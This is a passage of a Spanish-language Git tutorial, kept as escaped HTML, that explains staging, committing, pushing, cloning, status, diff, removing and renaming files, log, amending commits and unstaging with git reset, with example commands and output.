&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Esto crea un nuevo subdirectorio llamado .git que contiene todos los archivos necesarios del repositorio, un esqueleto de un repositorio Git. Todavía no hay nada en tu proyecto que esté bajo seguimiento.&lt;/p>
&lt;h2 id="añadir-archivos">Añadir archivos&lt;/h2>
&lt;p>Para empezar a seguir las modificaciones de un fichero habra que usar el comando &lt;code>git add fichero&lt;/code> y comenzaremos a trackear el archivo &amp;ldquo;nombre_archivo&amp;rdquo;.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git add &amp;lt;nombre_archivo&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si tenemos multiples ficheros y no queremos añadirlos uno a uno podremos hacerlos todos juntos con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git add .
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="confirmar-los-cambios">Confirmar los cambios&lt;/h2>
&lt;p>Para consolidar el archivo previamente creado y puesto en escenario debemos utilizar el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git commit –m &lt;span class="s1">&amp;#39;versión inicial del proyecto&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>La bandera -m indica que se debe consolidar el archivo con un mensaje informativo.&lt;/p>
&lt;/blockquote>
&lt;h2 id="enviar-cambios-al-servidor">Enviar cambios al servidor&lt;/h2>
&lt;p>Una vez que tenemos los cambios consolidados en nuestro repositorio local, utilizamos el comando &lt;code>git push&lt;/code> para enviarlo al servidor:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git push origin master
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="clonacion-de-un-repositorio">clonacion de un repositorio&lt;/h2>
&lt;p>Si queremos tener una copia local de un repositorio, el comando que usaremos es &lt;code>git clone [url]&lt;/code>, tendremos distintas formas de clonar:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Clonacion de un repositorio&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/Wiki-Pelican.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Clonacion de un repositorio especificando su nombre&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone git@github.com:procamora/Wiki-Pelican.git wiki
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Clonacion recursiva con submodulos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone --recursive git@github.com:procamora/Wiki-Pelican.git
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Recuerda que puedes clonar un repositorio por ssh o por https, la diferencia esta en que por ssh no tendras que autenticarte cada vez que realizas un cambio en el servidor.&lt;/p>
&lt;/blockquote>
&lt;h2 id="ver-estado-del-respositorio">ver estado del respositorio&lt;/h2>
&lt;p>Muestra el estado actual de la rama, como los cambios que hay sin commitear.&lt;/p>
&lt;p>Si esta todo correcto y no hay ningun cambio la salida sera:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">nothing to commit, working directory clean
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si hay modificaciones pendientes&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Untracked files: &lt;span class="c1">#&amp;lt;-- Nos está indicando que tenemos archivos nuevos.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to include in what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Archivo2.txt &lt;span class="c1">#&amp;lt;-- El archivo nuevo del que git no conoce.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">nothing added to commit but untracked files present &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add&amp;#34;&lt;/span> to track&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="comparar-diferencias">comparar diferencias&lt;/h2>
&lt;p>Cuando queremos ver las lineas añadidas y eliminadas de un fichero modificado usaremos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git diff fichero
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si quieres ver los cambios que has preparado y que irán en tu próxima confirmación, puedes usar:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git diff –-cached.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="eliminando-archivos">Eliminando archivos&lt;/h2>
&lt;p>Para eliminar un archivo de Git, debes eliminarlo de tus archivos bajo seguimiento (más concretamente, debes eliminarlo de tu área de preparación), y después confirmar. El comando &lt;code>git rm&lt;/code> se encarga de eso, y también elimina el archivo de tu directorio de trabajo, para que no lo veas entre los archivos sin seguimiento.&lt;/p>
&lt;p>Si simplemente eliminas el archivo de tu directorio de trabajo, aparecerá bajo la cabecera “Modificados pero no actualizados” (“Changed but not updated”) (es decir, sin preparar) de la salida del comando &lt;code>git status&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ rm grit.gemspec
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># On branch master&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Changed but not updated:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># (use &amp;#34;git add/rm &amp;lt;file&amp;gt;...&amp;#34; to update what will be committed)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># deleted: grit.gemspec&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si entonces ejecutas el comando &lt;code>git rm&lt;/code>, preparas la eliminación del archivo en cuestión:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git rm grit.gemspec
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rm &lt;span class="s1">&amp;#39;grit.gemspec&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># On branch master&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Changes to be committed:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># (use &amp;#34;git reset HEAD &amp;lt;file&amp;gt;...&amp;#34; to unstage)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># deleted: grit.gemspec&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>La próxima vez que confirmes, el archivo desaparecerá y dejará de estar bajo seguimiento. Si ya habías modificado el archivo y lo tenías en el área de preparación, deberás forzar su eliminación con la opción &lt;code>-f&lt;/code>.&lt;/p>
&lt;h2 id="moviendo-archivos">Moviendo archivos&lt;/h2>
&lt;p>A diferencia de muchos otros VCSs, Git no hace un seguimiento explicito del movimiento de archivos. Si renombras un archivo, en Git no se almacena ningún metadato que indique que lo has renombrado. Sin embargo, Git es suficientemente inteligente como para darse cuenta — trataremos el tema de la detección de movimiento de archivos un poco más adelante —.&lt;/p>
&lt;p>Por tanto, es un poco desconcertante que Git tenga un comando mv. Si quieres renombrar un archivo en Git, puedes ejecutar algo así:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git mv README.txt README
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Sin embargo, esto es equivalente a ejecutar algo así:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ mv README.txt README
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git rm README.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git add README
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="git-log-multiples-vistas">git log (multiples vistas)&lt;/h2>
&lt;p>Después de haber hecho varias confirmaciones, o si has clonado un repositorio que ya tenía un histórico de confirmaciones, probablemente quieras mirar atrás para ver qué modificaciones se han llevado a cabo. La herramienta más básica y potente para hacer esto es el comando &lt;code>git log&lt;/code>.&lt;/p>
&lt;p>Por defecto, si no pasas ningún argumento, git log lista las confirmaciones hechas sobre ese repositorio en orden cronológico inverso. Es decir, las confirmaciones más recientes se muestran al principio. Como puedes ver, este comando lista cada confirmación con su suma de comprobación SHA-1, el nombre y dirección de correo del autor, la fecha y el mensaje de confirmación &lt;code>git log&lt;/code>&lt;/p>
&lt;p>Una de las opciones más útiles es -p, que muestra las diferencias introducidas en cada confirmación. También puedes usar la opción -2, que hace que se muestren únicamente las dos últimas entradas del histórico &lt;code>git log -p -2&lt;/code>.&lt;/p>
&lt;p>También puedes usar con git log una serie de opciones de resumen. Por ejemplo, si quieres ver algunas estadísticas de cada confirmación, puedes usar la opción &amp;ndash;stat &lt;code>git log --stat&lt;/code>.&lt;/p>
&lt;h2 id="modificando-tu-última-confirmación">Modificando tu última confirmación&lt;/h2>
&lt;p>Frecuentemente cuando trabajamos y consolidamos los cambios olvidamos agregar al escenario algún archivo o simplemente lo modificamos tarde y lo queremos agregar a la información consolidada anteriormente. Es aquí cuando entra este comando en acción.&lt;/p>
&lt;p>Vamos a realizar una serie de cambios, los consolidaremos y agregaremos otro cambio posteriormente.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ touch README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ &lt;span class="nb">echo&lt;/span> &lt;span class="s1">&amp;#39;# Repositorio git para el curso Git desde cero&amp;#39;&lt;/span> &amp;gt;&amp;gt; README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status &lt;span class="c1"># omitimos la salida&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git add README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git commit -m &lt;span class="s2">&amp;#34;Agregar archivo README.md&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ahora modificaremos otro archivo y lo agregaremos.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ &lt;span class="nb">echo&lt;/span> &lt;span class="s1">&amp;#39;Agregamos la tercera linea&amp;#39;&lt;/span> &amp;gt;&amp;gt; Archivo2_cambio_de_nombre.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git add Archivo2_cambio_de_nombre.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># En este punto tenemos dos opciones 1) Dejar el mismo mensaje 2) Cambiarlo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git commit --amend --no-edit &lt;span class="c1"># Dejamos el mismo mensaje&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git commit --amend -m &lt;span class="s2">&amp;#34;Nuevo mensaje para el cambio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Es sumamente importante que si los cambios fueron consolidados y enviados al servidor remoto NO se utilice este comando; ya que se modifica el número de serial único de los cambios hechos y vamos a tener un conflicto difícil de resolver.&lt;/p>
&lt;/blockquote>
&lt;h2 id="deshaciendo-la-preparación-de-un-archivo">Deshaciendo la preparación de un archivo&lt;/h2>
&lt;p>Cuando añadimos al escenario un archivo por error, o hacemos un &lt;code>git add .&lt;/code> cuando no queriamos añadir todos los ficheros con modificaciones tendremos el comodin de eliminar del escenario un fichero o todos con &lt;code>git reset&lt;/code>&lt;/p>
&lt;p>Su funcionamiento es el siguiente: Añadimos todos los ficheros modificados y desacemos el add. &lt;code>git reset HEAD&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git add . &lt;span class="c1"># añadimos todos los ficheros&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status &lt;span class="c1"># mostramos el estado actual&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes to be committed:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git reset HEAD &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to unstage&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> modified: README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> new file: prueba
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git reset HEAD &lt;span class="c1"># cancelamos el comando add&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Unstaged changes after reset:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">M README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status &lt;span class="c1"># mostramos el estado actual&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes not staged &lt;span class="k">for&lt;/span> commit:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to update what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git checkout -- &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to discard changes in working directory&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> modified: README.md
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Untracked files:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add &amp;lt;file&amp;gt;...&amp;#34;&lt;/span> to include in what will be committed&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> prueba
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">no changes added to commit &lt;span class="o">(&lt;/span>use &lt;span class="s2">&amp;#34;git add&amp;#34;&lt;/span> and/or &lt;span class="s2">&amp;#34;git commit -a&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Su funcionamiento es el siguiente: Añadimos un fichero y desacemos el add de ese unico fichero. &lt;code>git reset HEAD &amp;lt;archivo&amp;gt;&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$ git add prueba &lt;span class="c1"># añadimos el fichero prueba&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ git status &lt;span class="c1"># mostramos el estado actual&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">On branch master
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Your branch is up-to-date with &lt;span class="s1">&amp;#39;origin/master&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Changes to be committed:
